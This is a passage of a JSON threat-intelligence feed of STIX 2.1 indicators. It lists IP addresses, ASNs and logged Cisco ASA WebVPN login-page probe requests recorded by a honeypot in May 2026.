      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--f62bbada-7162-4488-8339-2815bd4db5ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.199.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T15:20:18.000Z",
      "valid_until": "2026-06-27T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T14:57:20.728Z",
          "last_seen": "2026-05-29T19:45:16.535Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T15:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--c7a4c98d-8261-4da0-ba96-5bdc2e44bcdc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '31.222.242.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T15:20:18.000Z",
      "valid_until": "2026-06-27T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T14:56:40.111Z",
          "last_seen": "2026-05-26T17:13:31.698Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T15:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--40a506a1-7e67-4fd6-9a94-02c87cc1adfc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T15:20:18.000Z",
      "valid_until": "2026-06-27T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-26T14:50:43.990Z",
          "last_seen": "2026-05-26T14:54:43.331Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T15:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--8c755b2c-3199-485b-b7a8-8e5e7f78fdb6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '88.151.112.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T15:20:18.000Z",
      "valid_until": "2026-06-27T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T14:46:52.679Z",
          "last_seen": "2026-05-29T03:01:10.129Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e0bc5c57-ab41-4c52-9aac-349339bd273e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.249.223.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T16:20:10.000Z",
      "valid_until": "2026-06-27T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T15:50:28.726Z",
          "last_seen": "2026-05-29T15:49:27.005Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--9a0d41ae-3728-4f9a-9cde-1cf52df5c6b4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.140.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T16:20:10.000Z",
      "valid_until": "2026-06-27T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T16:06:14.254Z",
          "last_seen": "2026-05-26T16:06:30.459Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--e0038f30-4a1e-4cc7-a057-768b347e5d1b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T16:20:10.000Z",
      "valid_until": "2026-06-27T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-26T16:02:43.130Z",
          "last_seen": "2026-05-30T01:53:32.276Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--726c8d11-5cee-45f4-bf4d-e2848a9bffdb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T16:20:10.000Z",
      "valid_until": "2026-06-27T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-26T16:02:38.816Z",
          "last_seen": "2026-05-26T16:02:38.816Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--854891ce-2267-4f55-a8fb-677c761e3ea6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '156.233.1.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T16:20:10.000Z",
      "valid_until": "2026-06-27T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T15:39:19.008Z",
          "last_seen": "2026-05-27T11:16:39.859Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--154ded8e-54c8-4b31-8a5d-61c8dc48d204",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.143.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T16:20:10.000Z",
      "valid_until": "2026-06-27T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 75,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T15:29:07.853Z",
          "last_seen": "2026-05-29T21:27:49.884Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--3b5512fb-6aeb-4f24-8d5f-3cfd2ed2ef83",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.215.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T16:20:10.000Z",
      "valid_until": "2026-06-27T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T15:39:03.804Z",
          "last_seen": "2026-05-30T03:29:32.941Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--b40c6b79-9e7f-45c8-b007-9216d5a752f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.146.26.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T16:20:10.000Z",
      "valid_until": "2026-06-27T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-26T15:20:37.207Z",
          "last_seen": "2026-05-30T02:17:18.666Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--5e31d542-e104-494c-a283-70a970057860",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.77.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:20:10.000Z",
      "valid_until": "2026-06-27T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T16:53:14.526Z",
          "last_seen": "2026-05-30T12:38:29.948Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f6d050ae-73e1-4cbc-90e1-9f4d4ba6f0dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.121.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:20:10.000Z",
      "valid_until": "2026-06-27T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T16:49:25.196Z",
          "last_seen": "2026-05-26T16:49:36.337Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--f6075896-5996-4a2b-962e-01fd5b86bc65",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.121.77.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:20:10.000Z",
      "valid_until": "2026-06-27T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T16:20:46.115Z",
          "last_seen": "2026-05-26T16:20:59.580Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--115a78fd-5978-4d95-b97c-d5b75ca25bf5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.39.17.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:20:10.000Z",
      "valid_until": "2026-06-27T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T16:40:20.015Z",
          "last_seen": "2026-05-29T18:20:58.366Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--198d503b-29cc-4036-9bd2-2ac56cc3e021",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.176.21.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:20:10.000Z",
      "valid_until": "2026-06-27T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T16:25:28.222Z",
          "last_seen": "2026-05-29T00:57:10.468Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--39450689-6a77-44e4-ba43-b5da9b7f09fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.211.47.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:20:10.000Z",
      "valid_until": "2026-06-27T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-26T16:23:18.739Z",
          "last_seen": "2026-05-26T16:23:22.591Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BG; ASN 209630 (LLC Vash Kredit Bank)",
      "id": "indicator--43d0961d-908f-4997-a195-eb68b32e77eb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.92.42.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:20:10.000Z",
      "valid_until": "2026-06-27T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-26T17:16:46.401Z",
          "last_seen": "2026-05-26T17:17:28.135Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 209630,
          "as_org": "LLC Vash Kredit Bank",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--82cbdc9c-5f03-4ac3-be97-58d9040a4a6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '135.106.5.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T18:20:13.000Z",
      "valid_until": "2026-06-27T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T18:09:37.053Z",
          "last_seen": "2026-05-29T19:41:41.845Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
